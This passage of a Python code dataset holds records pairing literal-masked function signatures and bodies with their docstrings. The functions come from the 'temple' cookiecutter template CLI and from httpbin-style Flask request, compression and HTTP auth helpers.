triggered while the repo is in a dirty state\n        `ExistingBranchError`: When an update is triggered and there is an existing\n            update branch\n\n    Returns:\n        boolean: True if update was performed or False if template was already up to date", "id": "f13748:m7"}
{"signature": "@main.command()<EOL>@click.argument('<STR_LIT>', nargs=<NUM_LIT:1>, required=True)<EOL>@click.option('<STR_LIT>', '<STR_LIT>', default=None,<EOL>help='<STR_LIT>')<EOL>def setup(template, version):", "body": "temple.setup.setup(template, version=version)<EOL>", "docstring": "Setup new project. Takes a full git SSH path to the template as returned\nby \"temple ls\". In order to start a project from a\nparticular version (instead of the latest), use the \"-v\" option.", "id": "f13749:m1"}
{"signature": "@main.command()<EOL>@click.option('<STR_LIT:-c>', '<STR_LIT>', is_flag=True,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', '<STR_LIT>', default=None,<EOL>help='<STR_LIT>')<EOL>def update(check, enter_parameters, version):", "body": "if check:<EOL><INDENT>if temple.update.up_to_date(version=version):<EOL><INDENT>print('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>msg = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>)<EOL>raise temple.exceptions.NotUpToDateWithTemplateError(msg)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>temple.update.update(new_version=version, enter_parameters=enter_parameters)<EOL><DEDENT>", "docstring": "Update package with latest template. Must be inside of the project\nfolder to run.\n\nUsing \"-e\" will prompt for re-entering the template parameters again\neven if the project is up to date.\n\nUse \"-v\" to update to a particular version of a template.\n\nUsing \"-c\" will perform a check that the project is up to date\nwith the latest version of the template (or the version specified by \"-v\").\nNo updating will happen when using this option.", "id": "f13749:m2"}
{"signature": "@main.command()<EOL>@click.argument('<STR_LIT>', nargs=<NUM_LIT:1>, required=True)<EOL>@click.argument('<STR_LIT>', nargs=<NUM_LIT:1>, required=False)<EOL>@click.option('<STR_LIT>', '<STR_LIT>', is_flag=True,<EOL>help='<STR_LIT>')<EOL>def ls(github_user, template, long_format):", "body": "github_urls = temple.ls.ls(github_user, template=template)<EOL>for ssh_path, info in github_urls.items():<EOL><INDENT>if long_format:<EOL><INDENT>print(ssh_path, '<STR_LIT:->', info['<STR_LIT:description>'] or '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>print(ssh_path)<EOL><DEDENT><DEDENT>", "docstring": "List packages created with temple. Enter a github user or\norganization to list all templates under the user or org.\nUsing a template path as the second argument will list all projects\nthat have been started with that template.\n\nUse \"-l\" to print the Github repository descriptions of templates\nor projects.", "id": "f13749:m3"}
{"signature": "@main.command()<EOL>def clean():", "body": "temple.clean.clean()<EOL>", "docstring": "Cleans temporary resources created by temple, such as the temple update branch", "id": "f13749:m4"}
{"signature": "@main.command()<EOL>@click.argument('<STR_LIT>', nargs=<NUM_LIT:1>, required=True)<EOL>@click.option('<STR_LIT>', '<STR_LIT>', default=None,<EOL>help='<STR_LIT>')<EOL>def switch(template, version):", "body": "temple.update.update(new_template=template, new_version=version)<EOL>", "docstring": "Switch a project's template to a different template.", "id": "f13749:m5"}
{"signature": "def is_git_ssh_path(template_path):", "body": "if not template_path.startswith('<STR_LIT>') or not template_path.endswith('<STR_LIT>'):<EOL><INDENT>raise temple.exceptions.InvalidTemplatePathError(<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Raises a `InvalidTemplatePathError` if ``template_path`` is not a git SSH url\n\n    Note that the git SSH url must be in the form as provided from Github or from\n    ``temple ls``. For example, ``git@github.com:user/template.git``.", "id": "f13751:m0"}
{"signature": "def _in_git_repo():", "body": "ret = temple.utils.shell('<STR_LIT>', stderr=subprocess.DEVNULL, check=False)<EOL>return ret.returncode == <NUM_LIT:0><EOL>", "docstring": "Returns True if inside a git repo, False otherwise", "id": "f13751:m1"}
{"signature": "def in_git_repo():", "body": "if not _in_git_repo():<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise temple.exceptions.NotInGitRepoError(msg)<EOL><DEDENT>", "docstring": "Raises `NotInGitRepoError` if not inside a git repository", "id": "f13751:m2"}
{"signature": "def not_in_git_repo():", "body": "if _in_git_repo():<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise temple.exceptions.InGitRepoError(msg)<EOL><DEDENT>", "docstring": "Raises `InGitRepoError` if inside of a git repository", "id": "f13751:m3"}
{"signature": "def _in_clean_repo():", "body": "ret = temple.utils.shell('<STR_LIT>', check=False)<EOL>return ret.returncode == <NUM_LIT:0><EOL>", "docstring": "Returns True if the git repo is not dirty, False otherwise", "id": "f13751:m4"}
{"signature": "def in_clean_repo():", "body": "if not _in_clean_repo():<EOL><INDENT>msg = '<STR_LIT>'<EOL>raise temple.exceptions.InDirtyRepoError(msg)<EOL><DEDENT>", "docstring": "Raises `InDirtyRepoError` if inside a dirty repository", "id": "f13751:m5"}
{"signature": "def _has_branch(branch):", "body": "ret = temple.utils.shell('<STR_LIT>'.format(branch),<EOL>stderr=subprocess.DEVNULL,<EOL>stdout=subprocess.DEVNULL,<EOL>check=False)<EOL>return ret.returncode == <NUM_LIT:0><EOL>", "docstring": "Return True if the target branch exists.", "id": "f13751:m6"}
{"signature": "def not_has_branch(branch):", "body": "if _has_branch(branch):<EOL><INDENT>msg = '<STR_LIT>'.format(branch)<EOL>raise temple.exceptions.ExistingBranchError(msg)<EOL><DEDENT>", "docstring": "Raises `ExistingBranchError` if the specified branch exists.", "id": "f13751:m7"}
{"signature": "def has_env_vars(*env_vars):", "body": "for env_var in env_vars:<EOL><INDENT>if not os.environ.get(env_var):<EOL><INDENT>msg = (<EOL>'<STR_LIT>'<EOL>).format(env_var, temple.constants.TEMPLE_DOCS_URL)<EOL>raise temple.exceptions.InvalidEnvironmentError(msg)<EOL><DEDENT><DEDENT>", "docstring": "Raises `InvalidEnvironmentError` when one isnt set", "id": "f13751:m8"}
{"signature": "def is_temple_project():", "body": "if not os.path.exists(temple.constants.TEMPLE_CONFIG_FILE):<EOL><INDENT>msg = '<STR_LIT>'.format(temple.constants.TEMPLE_CONFIG_FILE)<EOL>raise temple.exceptions.InvalidTempleProjectError(msg)<EOL><DEDENT>", "docstring": "Raises `InvalidTempleProjectError` if repository is not a temple project", "id": "f13751:m9"}
{"signature": "def _parse_link_header(headers):", "body": "links = {}<EOL>if '<STR_LIT>' in headers:<EOL><INDENT>link_headers = headers['<STR_LIT>'].split('<STR_LIT:U+002CU+0020>')<EOL>for link_header in link_headers:<EOL><INDENT>(url, rel) = link_header.split('<STR_LIT>')<EOL>url = url[<NUM_LIT:1>:-<NUM_LIT:1>]<EOL>rel = rel[<NUM_LIT:5>:-<NUM_LIT:1>]<EOL>links[rel] = url<EOL><DEDENT><DEDENT>return links<EOL>", "docstring": "Parses Github's link header for pagination.\n\n    TODO eventually use a github client for this", "id": "f13753:m0"}
{"signature": "def _code_search(query, github_user=None):", "body": "github_client = temple.utils.GithubClient()<EOL>headers = {'<STR_LIT>': '<STR_LIT>'}<EOL>resp = github_client.get('<STR_LIT>',<EOL>params={'<STR_LIT:q>': query, '<STR_LIT>': <NUM_LIT:100>},<EOL>headers=headers)<EOL>if resp.status_code == requests.codes.unprocessable_entity and github_user:<EOL><INDENT>raise temple.exceptions.InvalidGithubUserError(<EOL>'<STR_LIT>'.format(github_user))<EOL><DEDENT>resp.raise_for_status()<EOL>resp_data = resp.json()<EOL>repositories = collections.defaultdict(dict)<EOL>while True:<EOL><INDENT>repositories.update({<EOL>'<STR_LIT>'.format(repo['<STR_LIT>']['<STR_LIT>']): repo['<STR_LIT>']<EOL>for repo in resp_data['<STR_LIT>']<EOL>})<EOL>next_url = _parse_link_header(resp.headers).get('<STR_LIT>')<EOL>if next_url:<EOL><INDENT>resp = requests.get(next_url, headers=headers)<EOL>resp.raise_for_status()<EOL>resp_data = resp.json()<EOL><DEDENT>else:<EOL><INDENT>break<EOL><DEDENT><DEDENT>return repositories<EOL>", "docstring": "Performs a Github API code search\n\n    Args:\n        query (str): The query sent to Github's code search\n        github_user (str, optional): The Github user being searched in the query string\n\n    Returns:\n        dict: A dictionary of repository information keyed on the git SSH url\n\n    Raises:\n        `InvalidGithubUserError`: When ``github_user`` is invalid", "id": "f13753:m1"}
{"signature": "@temple.utils.set_cmd_env_var('<STR_LIT>')<EOL>def ls(github_user, template=None):", "body": "temple.check.has_env_vars(temple.constants.GITHUB_API_TOKEN_ENV_VAR)<EOL>if template:<EOL><INDENT>temple.check.is_git_ssh_path(template)<EOL>search_q = '<STR_LIT>'.format(<EOL>github_user,<EOL>temple.constants.TEMPLE_CONFIG_FILE,<EOL>template)<EOL><DEDENT>else:<EOL><INDENT>search_q = '<STR_LIT>'.format(github_user)<EOL><DEDENT>results = _code_search(search_q, github_user)<EOL>return collections.OrderedDict(sorted(results.items()))<EOL>", "docstring": "Lists all temple templates and packages associated with those templates\n\n    If ``template`` is None, returns the available templates for the configured\n    Github org.\n\n    If ``template`` is a Github path to a template, returns all projects spun\n    up with that template.\n\n    ``ls`` uses the github search API to find results.\n\n    Note that the `temple.constants.TEMPLE_ENV_VAR` is set to 'ls' for the duration of this\n    function.\n\n    Args:\n        github_user (str): The github user or org being searched.\n        template (str, optional): The template git repo path. If provided, lists\n            all projects that have been created with the provided template. Note\n            that the template path is the SSH path\n            (e.g. git@github.com:CloverHealth/temple.git)\n\n    Returns:\n        dict: A dictionary of repository information keyed on the SSH Github url\n\n    Raises:\n        `InvalidGithubUserError`: When ``github_user`` is invalid", "id": "f13753:m2"}
{"signature": "def get_repo_path(template):", "body": "return template[:-<NUM_LIT:4>].split('<STR_LIT::>')[<NUM_LIT:1>]<EOL>", "docstring": "Given a git SSH path (e.g git@github.com:owner/repo.git), return the repo path\n\n    The repo path is in the form of \"owner/repo\"", "id": "f13754:m0"}
{"signature": "def shell(cmd, check=True, stdin=None, stdout=None, stderr=None):", "body": "return subprocess.run(cmd, shell=True, check=check, stdin=stdin, stdout=stdout, stderr=stderr)<EOL>", "docstring": "Runs a subprocess shell with check=True by default", "id": "f13754:m1"}
{"signature": "@contextlib.contextmanager<EOL>def cd(path):", "body": "old_dir = os.getcwd()<EOL>os.chdir(path)<EOL>try:<EOL><INDENT>yield<EOL><DEDENT>finally:<EOL><INDENT>os.chdir(old_dir)<EOL><DEDENT>", "docstring": "A context manager for changing into a directory", "id": "f13754:m2"}
{"signature": "def read_temple_config():", "body": "with open(temple.constants.TEMPLE_CONFIG_FILE) as temple_config_file:<EOL><INDENT>return yaml.load(temple_config_file, Loader=yaml.SafeLoader)<EOL><DEDENT>", "docstring": "Reads the temple YAML configuration file in the repository", "id": "f13754:m3"}
{"signature": "def write_temple_config(temple_config, template, version):", "body": "with open(temple.constants.TEMPLE_CONFIG_FILE, '<STR_LIT:w>') as temple_config_file:<EOL><INDENT>versioned_config = {<EOL>**temple_config,<EOL>**{'<STR_LIT>': version, '<STR_LIT>': template},<EOL>}<EOL>yaml.dump(versioned_config, temple_config_file, Dumper=yaml.SafeDumper)<EOL><DEDENT>", "docstring": "Writes the temple YAML configuration", "id": "f13754:m4"}
{"signature": "def get_cookiecutter_config(template, default_config=None, version=None):", "body": "default_config = default_config or {}<EOL>config_dict = cc_config.get_user_config()<EOL>repo_dir, _ = cc_repository.determine_repo_dir(<EOL>template=template,<EOL>abbreviations=config_dict['<STR_LIT>'],<EOL>clone_to_dir=config_dict['<STR_LIT>'],<EOL>checkout=version,<EOL>no_input=True)<EOL>context_file = os.path.join(repo_dir, '<STR_LIT>')<EOL>context = cc_generate.generate_context(<EOL>context_file=context_file,<EOL>default_context={**config_dict['<STR_LIT>'], **default_config})<EOL>return repo_dir, cc_prompt.prompt_for_config(context)<EOL>", "docstring": "Obtains the configuration used for cookiecutter templating\n\n    Args:\n        template: Path to the template\n        default_config (dict, optional): The default configuration\n        version (str, optional): The git SHA or branch to use when\n            checking out template. Defaults to latest version\n\n    Returns:\n        tuple: The cookiecutter repo directory and the config dict", "id": "f13754:m5"}
{"signature": "def set_cmd_env_var(value):", "body": "def func_decorator(function):<EOL><INDENT>@functools.wraps(function)<EOL>def wrapper(*args, **kwargs):<EOL><INDENT>previous_cmd_env_var = os.getenv(temple.constants.TEMPLE_ENV_VAR)<EOL>os.environ[temple.constants.TEMPLE_ENV_VAR] = value<EOL>try:<EOL><INDENT>ret_val = function(*args, **kwargs)<EOL><DEDENT>finally:<EOL><INDENT>if previous_cmd_env_var is None:<EOL><INDENT>del os.environ[temple.constants.TEMPLE_ENV_VAR]<EOL><DEDENT>else:<EOL><INDENT>os.environ[temple.constants.TEMPLE_ENV_VAR] = previous_cmd_env_var<EOL><DEDENT><DEDENT>return ret_val<EOL><DEDENT>return wrapper<EOL><DEDENT>return func_decorator<EOL>", "docstring": "Decorator that sets the temple command env var to value", "id": "f13754:m6"}
{"signature": "def _call_api(self, verb, url, **request_kwargs):", "body": "api = '<STR_LIT>'.format(url)<EOL>auth_headers = {'<STR_LIT>': '<STR_LIT>'.format(self.api_token)}<EOL>headers = {**auth_headers, **request_kwargs.pop('<STR_LIT>', {})}<EOL>return getattr(requests, verb)(api, headers=headers, **request_kwargs)<EOL>", "docstring": "Perform a github API call\n\n        Args:\n            verb (str): Can be \"post\", \"put\", or \"get\"\n            url (str): The base URL with a leading slash for Github API (v3)\n            auth (str or HTTPBasicAuth): A Github API token or a HTTPBasicAuth object", "id": "f13754:c0:m1"}
{"signature": "def get(self, url, **request_kwargs):", "body": "return self._call_api('<STR_LIT>', url, **request_kwargs)<EOL>", "docstring": "Github API get", "id": "f13754:c0:m2"}
{"signature": "def _patched_run_hook(hook_name, project_dir, context):", "body": "if hook_name == '<STR_LIT>':<EOL><INDENT>with temple.utils.cd(project_dir):<EOL><INDENT>temple.utils.write_temple_config(context['<STR_LIT>'],<EOL>context['<STR_LIT>'],<EOL>context['<STR_LIT:version>'])<EOL><DEDENT><DEDENT>return cc_hooks.run_hook(hook_name, project_dir, context)<EOL>", "docstring": "Used to patch cookiecutter's ``run_hook`` function.\n\n    This patched version ensures that the temple.yaml file is created before\n    any cookiecutter hooks are executed", "id": "f13755:m0"}
{"signature": "def _generate_files(repo_dir, config, template, version):", "body": "with unittest.mock.patch('<STR_LIT>', side_effect=_patched_run_hook):<EOL><INDENT>cc_generate.generate_files(repo_dir=repo_dir,<EOL>context={'<STR_LIT>': config,<EOL>'<STR_LIT>': template,<EOL>'<STR_LIT:version>': version},<EOL>overwrite_if_exists=False,<EOL>output_dir='<STR_LIT:.>')<EOL><DEDENT>", "docstring": "Uses cookiecutter to generate files for the project.\n\n    Monkeypatches cookiecutter's \"run_hook\" to ensure that the temple.yaml file is\n    generated before any hooks run. This is important to ensure that hooks can also\n    perform any actions involving temple.yaml", "id": "f13755:m1"}
{"signature": "@temple.utils.set_cmd_env_var('<STR_LIT>')<EOL>def setup(template, version=None):", "body": "temple.check.is_git_ssh_path(template)<EOL>temple.check.not_in_git_repo()<EOL>repo_path = temple.utils.get_repo_path(template)<EOL>msg = (<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>).format(repo_path)<EOL>print(msg)<EOL>cc_repo_dir, config = temple.utils.get_cookiecutter_config(template, version=version)<EOL>if not version:<EOL><INDENT>with temple.utils.cd(cc_repo_dir):<EOL><INDENT>ret = temple.utils.shell('<STR_LIT>', stdout=subprocess.PIPE)<EOL>version = ret.stdout.decode('<STR_LIT:utf-8>').strip()<EOL><DEDENT><DEDENT>_generate_files(repo_dir=cc_repo_dir, config=config, template=template, version=version)<EOL>", "docstring": "Sets up a new project from a template\n\n    Note that the `temple.constants.TEMPLE_ENV_VAR` is set to 'setup' during the duration\n    of this function.\n\n    Args:\n        template (str): The git SSH path to a template\n        version (str, optional): The version of the template to use when updating. Defaults\n            to the latest version", "id": "f13755:m2"}
{"signature": "@contextlib.contextmanager<EOL>def _setenv(key, value):", "body": "old_value = os.environ.get(key, None)<EOL>if value is None:<EOL><INDENT>os.environ.pop(key, None)<EOL><DEDENT>else:<EOL><INDENT>os.environ[key] = value<EOL><DEDENT>yield<EOL>if old_value is None:<EOL><INDENT>os.environ.pop(key, None)<EOL><DEDENT>else:<EOL><INDENT>os.environ[key] = value<EOL><DEDENT>", "docstring": "Context manager to set an environment variable temporarily.", "id": "f13759:m0"}
{"signature": "def _string_to_base64(string):", "body": "utf8_encoded = string.encode('<STR_LIT:utf-8>')<EOL>return base64.urlsafe_b64encode(utf8_encoded)<EOL>", "docstring": "Encodes string to utf-8 and then base64", "id": "f13759:m1"}
{"signature": "@decorator<EOL>def x_runtime(f, *args, **kwargs):", "body": "_t0 = now()<EOL>r = f(*args, **kwargs)<EOL>_t1 = now()<EOL>r.headers['<STR_LIT>'] = '<STR_LIT>'.format(Decimal(str(_t1 - _t0)))<EOL>return r<EOL>", "docstring": "X-Runtime Flask Response Decorator.", "id": "f13762:m0"}
{"signature": "@decorator<EOL>def gzip(f, *args, **kwargs):", "body": "data = f(*args, **kwargs)<EOL>if isinstance(data, Response):<EOL><INDENT>content = data.data<EOL><DEDENT>else:<EOL><INDENT>content = data<EOL><DEDENT>gzip_buffer = BytesIO()<EOL>gzip_file = gzip2.GzipFile(<EOL>mode='<STR_LIT:wb>',<EOL>compresslevel=<NUM_LIT:4>,<EOL>fileobj=gzip_buffer<EOL>)<EOL>gzip_file.write(content)<EOL>gzip_file.close()<EOL>gzip_data = gzip_buffer.getvalue()<EOL>if isinstance(data, Response):<EOL><INDENT>data.data = gzip_data<EOL>data.headers['<STR_LIT>'] = '<STR_LIT>'<EOL>data.headers['<STR_LIT>'] = str(len(data.data))<EOL>return data<EOL><DEDENT>return gzip_data<EOL>", "docstring": "GZip Flask Response Decorator.", "id": "f13762:m1"}
{"signature": "@decorator<EOL>def deflate(f, *args, **kwargs):", "body": "data = f(*args, **kwargs)<EOL>if isinstance(data, Response):<EOL><INDENT>content = data.data<EOL><DEDENT>else:<EOL><INDENT>content = data<EOL><DEDENT>deflater = zlib.compressobj()<EOL>deflated_data = deflater.compress(content)<EOL>deflated_data += deflater.flush()<EOL>if isinstance(data, Response):<EOL><INDENT>data.data = deflated_data<EOL>data.headers['<STR_LIT>'] = '<STR_LIT>'<EOL>data.headers['<STR_LIT>'] = str(len(data.data))<EOL>return data<EOL><DEDENT>return deflated_data<EOL>", "docstring": "Deflate Flask Response Decorator.", "id": "f13762:m2"}
{"signature": "def json_safe(string, content_type='<STR_LIT>'):", "body": "try:<EOL><INDENT>string = string.decode('<STR_LIT:utf-8>')<EOL>json.dumps(string)<EOL>return string<EOL><DEDENT>except (ValueError, TypeError):<EOL><INDENT>return b'<STR_LIT>'.join([<EOL>b'<STR_LIT>',<EOL>content_type.encode('<STR_LIT:utf-8>'),<EOL>b'<STR_LIT>',<EOL>base64.b64encode(string)<EOL>]).decode('<STR_LIT:utf-8>')<EOL><DEDENT>", "docstring": "Returns JSON-safe version of `string`.\n\n    If `string` is a Unicode string or a valid UTF-8,\n    it is returned unmodified,\n    as it can safely be encoded to JSON string.\n\n    If `string` contains raw/binary data, it is Base64-encoded, formatted and\n    returned according to \"data\" URL scheme (RFC2397). Since JSON is not\n    suitable for binary data, some additional encoding was necessary; \"data\"\n    URL scheme was chosen for its simplicity.", "id": "f13764:m0"}
{"signature": "def get_files(request):", "body": "files = dict()<EOL>for k, v in request.files.items():<EOL><INDENT>content_type = (<EOL>request.files[k].content_type or '<STR_LIT>'<EOL>)<EOL>val = json_safe(v.read(), content_type)<EOL>if files.get(k):<EOL><INDENT>if not isinstance(files[k], list):<EOL><INDENT>files[k] = [files[k]]<EOL><DEDENT>files[k].append(val)<EOL><DEDENT>else:<EOL><INDENT>files[k] = val<EOL><DEDENT><DEDENT>return files<EOL>", "docstring": "Returns files dict from request context.", "id": "f13764:m1"}
{"signature": "def get_headers(request, hide_env=True):", "body": "headers = dict(request.headers.items())<EOL>if hide_env and ('<STR_LIT>' not in request.args):<EOL><INDENT>for key in ENV_HEADERS:<EOL><INDENT>try:<EOL><INDENT>del headers[key]<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return CaseInsensitiveDict(headers.items())<EOL>", "docstring": "Returns headers dict from request context.", "id": "f13764:m2"}
{"signature": "def semiflatten(multi):", "body": "if multi:<EOL><INDENT>result = multi.to_dict()<EOL>for k, v in result.items():<EOL><INDENT>if len(v) == <NUM_LIT:1>:<EOL><INDENT>result[k] = v[<NUM_LIT:0>]<EOL><DEDENT><DEDENT>return result<EOL><DEDENT>else:<EOL><INDENT>return multi<EOL><DEDENT>", "docstring": "Convert a MutiDict into a regular dict. If there are more than one value\n    for a key, the result will have a list of values for the key. Otherwise it\n    will have the plain value.", "id": "f13764:m3"}
{"signature": "def get_url(request):", "body": "protocol = (<EOL>request.headers.get('<STR_LIT>') or<EOL>request.headers.get('<STR_LIT>')<EOL>)<EOL>if protocol is None and request.headers.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>protocol = '<STR_LIT>'<EOL><DEDENT>if protocol is None:<EOL><INDENT>return request.url<EOL><DEDENT>url = list(urlparse(request.url))<EOL>url[<NUM_LIT:0>] = protocol<EOL>return urlunparse(url)<EOL>", "docstring": "Since we might be hosted behind a proxy, we need to check the\nX-Forwarded-Proto, X-Forwarded-Protocol, or X-Forwarded-SSL headers\nto find out what protocol was used to access us.", "id": "f13764:m4"}
{"signature": "def get_dict(request, *keys, **extras):", "body": "_keys = ('<STR_LIT:url>', '<STR_LIT:args>', '<STR_LIT>', '<STR_LIT:data>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>')<EOL>assert all(map(_keys.__contains__, keys))<EOL>data = request.data<EOL>form = request.form<EOL>form = semiflatten(request.form)<EOL>try:<EOL><INDENT>_json = json.loads(data.decode('<STR_LIT:utf-8>'))<EOL><DEDENT>except (ValueError, TypeError):<EOL><INDENT>_json = None<EOL><DEDENT>d = dict(<EOL>url=get_url(request),<EOL>args=semiflatten(request.args),<EOL>form=form,<EOL>data=json_safe(data),<EOL>origin=request.headers.get('<STR_LIT>', request.remote_addr),<EOL>headers=get_headers(request),<EOL>files=get_files(request),<EOL>json=_json<EOL>)<EOL>out_d = dict()<EOL>for key in keys:<EOL><INDENT>out_d[key] = d.get(key)<EOL><DEDENT>out_d.update(extras)<EOL>return out_d<EOL>", "docstring": "Returns request dict of given keys.", "id": "f13764:m5"}
{"signature": "def status_code(code):", "body": "redirect = dict(headers=dict(location=REDIRECT_LOCATION))<EOL>code_map = {<EOL><NUM_LIT>: redirect,<EOL><NUM_LIT>: redirect,<EOL><NUM_LIT>: redirect,<EOL><NUM_LIT>: dict(data='<STR_LIT>'),<EOL><NUM_LIT>: redirect,<EOL><NUM_LIT>: redirect,<EOL><NUM_LIT>: dict(headers={'<STR_LIT>': '<STR_LIT>'}),<EOL><NUM_LIT>: dict(<EOL>data='<STR_LIT>',<EOL>headers={<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}<EOL>),<EOL><NUM_LIT>: dict(data=json.dumps({<EOL>'<STR_LIT:message>': '<STR_LIT>',<EOL>'<STR_LIT>': ACCEPTED_MEDIA_TYPES<EOL>}),<EOL>headers={<EOL>'<STR_LIT:Content-Type>': '<STR_LIT:application/json>'<EOL>}),<EOL><NUM_LIT>: dict(headers={'<STR_LIT>': '<STR_LIT>'}),<EOL><NUM_LIT>: dict(  <EOL>data=ASCII_ART,<EOL>headers={<EOL>'<STR_LIT>': '<STR_LIT>'<EOL>}<EOL>),<EOL>}<EOL>r = Response()<EOL>r.status_code = code<EOL>if code in code_map:<EOL><INDENT>m = code_map[code]<EOL>if '<STR_LIT:data>' in m:<EOL><INDENT>r.data = m['<STR_LIT:data>']<EOL><DEDENT>if '<STR_LIT>' in m:<EOL><INDENT>r.headers = m['<STR_LIT>']<EOL><DEDENT><DEDENT>return r<EOL>", "docstring": "Returns response object of given status code.", "id": "f13764:m6"}
{"signature": "def check_basic_auth(request, user, passwd):", "body": "auth = request.authorization<EOL>return auth and auth.username == user and auth.password == passwd<EOL>", "docstring": "Checks user authentication using HTTP Basic Auth.", "id": "f13764:m7"}
{"signature": "def HA1(realm, username, password):", "body": "if not realm:<EOL><INDENT>realm = u'<STR_LIT>'<EOL><DEDENT>return H(b'<STR_LIT::>'.join([username.encode('<STR_LIT:utf-8>'),<EOL>realm.encode('<STR_LIT:utf-8>'),<EOL>password.encode('<STR_LIT:utf-8>')]))<EOL>", "docstring": "Create HA1 hash by realm, username, password\n\n    HA1 = md5(A1) = MD5(username:realm:password)", "id": "f13764:m9"}
{"signature": "def HA2(credentails, request):", "body": "if credentails.get('<STR_LIT>') == '<STR_LIT>' or credentails.get('<STR_LIT>') is None:<EOL><INDENT>return H(b'<STR_LIT::>'.join([request['<STR_LIT>'].encode('<STR_LIT:utf-8>'),<EOL>request['<STR_LIT>'].encode('<STR_LIT:utf-8>')]))<EOL><DEDENT>elif credentails.get('<STR_LIT>') == '<STR_LIT>':<EOL><INDENT>for k in '<STR_LIT>', '<STR_LIT>', '<STR_LIT:body>':<EOL><INDENT>if k not in request:<EOL><INDENT>raise ValueError('<STR_LIT>' % k)<EOL><DEDENT><DEDENT>return H('<STR_LIT>' % (request['<STR_LIT>'],<EOL>request['<STR_LIT>'],<EOL>H(request['<STR_LIT:body>'])))<EOL><DEDENT>raise ValueError<EOL>", "docstring": "Create HA2 md5 hash\n\n    If the qop directive's value is \"auth\" or is unspecified, then HA2:\n        HA2 = md5(A2) = MD5(method:digestURI)\n    If the qop directive's value is \"auth-int\" , then HA2 is\n        HA2 = md5(A2) = MD5(method:digestURI:MD5(entityBody))", "id": "f13764:m10"}
{"signature": "def response(credentails, password, request):", "body": "response = None<EOL>HA1_value = HA1(<EOL>credentails.get('<STR_LIT>'),<EOL>credentails.get('<STR_LIT:username>'),<EOL>password<EOL>)<EOL>HA2_value = HA2(credentails, request)<EOL>if credentails.get('<STR_LIT>') is None:<EOL><INDENT>response = H(b'<STR_LIT::>'.join([<EOL>HA1_value.encode('<STR_LIT:utf-8>'),<EOL>credentails.get('<STR_LIT>', '<STR_LIT>').encode('<STR_LIT:utf-8>'),<EOL>HA2_value.encode('<STR_LIT:utf-8>')<EOL>]))<EOL><DEDENT>elif (credentails.get('<STR_LIT>') == '<STR_LIT>' or<EOL>credentails.get('<STR_LIT>') == '<STR_LIT>'):<EOL><INDENT>for k in '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>':<EOL><INDENT>if k not in credentails:<EOL><INDENT>raise ValueError('<STR_LIT>' % k)<EOL><DEDENT><DEDENT>response = H(b'<STR_LIT::>'.join([HA1_value.encode('<STR_LIT:utf-8>'),<EOL>credentails.get('<STR_LIT>').encode('<STR_LIT:utf-8>'),<EOL>credentails.get('<STR_LIT>').encode('<STR_LIT:utf-8>'),<EOL>credentails.get('<STR_LIT>').encode('<STR_LIT:utf-8>'),<EOL>credentails.get('<STR_LIT>').encode('<STR_LIT:utf-8>'),<EOL>HA2_value.encode('<STR_LIT:utf-8>')]))<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return response<EOL>", "docstring": "Compile digest auth response\n\n    If the qop directive's value is \"auth\" or \"auth-int\" ,\n    then compute the response as follows:\n       RESPONSE = MD5(HA1:nonce:nonceCount:clienNonce:qop:HA2)\n    Else if the qop directive is unspecified,\n    then compute the response as follows:\n       RESPONSE = MD5(HA1:nonce:HA2)\n\n    Arguments:\n    - `credentails`: credentails dict\n    - `password`: request user password\n    - `request`: request dict", "id": "f13764:m11"}
{"signature": "def check_digest_auth(request, user, passwd):", "body": "if request.headers.get('<STR_LIT>'):<EOL><INDENT>credentails = parse_authorization_header(<EOL>request.headers.get('<STR_LIT>')<EOL>)<EOL>if not credentails:<EOL><INDENT>return<EOL><DEDENT>response_hash = response(credentails, passwd,<EOL>dict(uri=request.script_root + request.path,<EOL>body=request.data,<EOL>method=request.method))<EOL>if credentails.get('<STR_LIT>') == response_hash:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>return False<EOL>", "docstring": "Check user authentication using HTTP Digest auth", "id": "f13764:m12"}
{"signature": "def secure_cookie(request):", "body": "return request.environ['<STR_LIT>'] == '<STR_LIT>'<EOL>", "docstring": "Return true if cookie should have secure attribute", "id": "f13764:m13"}
{"signature": "def __parse_request_range(range_header_text):", "body": "left = None<EOL>right = None<EOL>if not range_header_text:<EOL><INDENT>return left, right<EOL><DEDENT>range_header_text = range_header_text.strip()<EOL>if not range_header_text.startswith('<STR_LIT>'):<EOL><INDENT>return left, right<EOL><DEDENT>components = range_header_text.split('<STR_LIT:=>')<EOL>if len(components) != <NUM_LIT:2>:<EOL><INDENT>return left, right<EOL><DEDENT>components = components[<NUM_LIT:1>].split('<STR_LIT:->')<EOL>try:<EOL><INDENT>right = int(components[<NUM_LIT:1>])<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>try:<EOL><INDENT>left = int(components[<NUM_LIT:0>])<EOL><DEDENT>except:<EOL><INDENT>pass<EOL><DEDENT>return left, right<EOL>", "docstring": "Return a tuple describing the byte range requested in a GET request\n    If the range is open ended on the left or right side, then a value of None\n    will be set.\n    RFC7233:\n      http://svn.tools.ietf.org/svn/wg/httpbis/specs/rfc7233.html#header.range\n    Examples:\n      Range : bytes=1024-\n      Range : bytes=10-20\n      Range : bytes=-999", "id": "f13764:m14"}
{"signature": "@app.route('<STR_LIT:/>')<EOL>def view_landing_page(request):", "body": "tracking_enabled = '<STR_LIT>' in os.environ<EOL>return render_template('<STR_LIT>', request=request,<EOL>tracking_enabled=tracking_enabled)<EOL>", "docstring": "Generates Landing Page.", "id": "f13765:m2"}
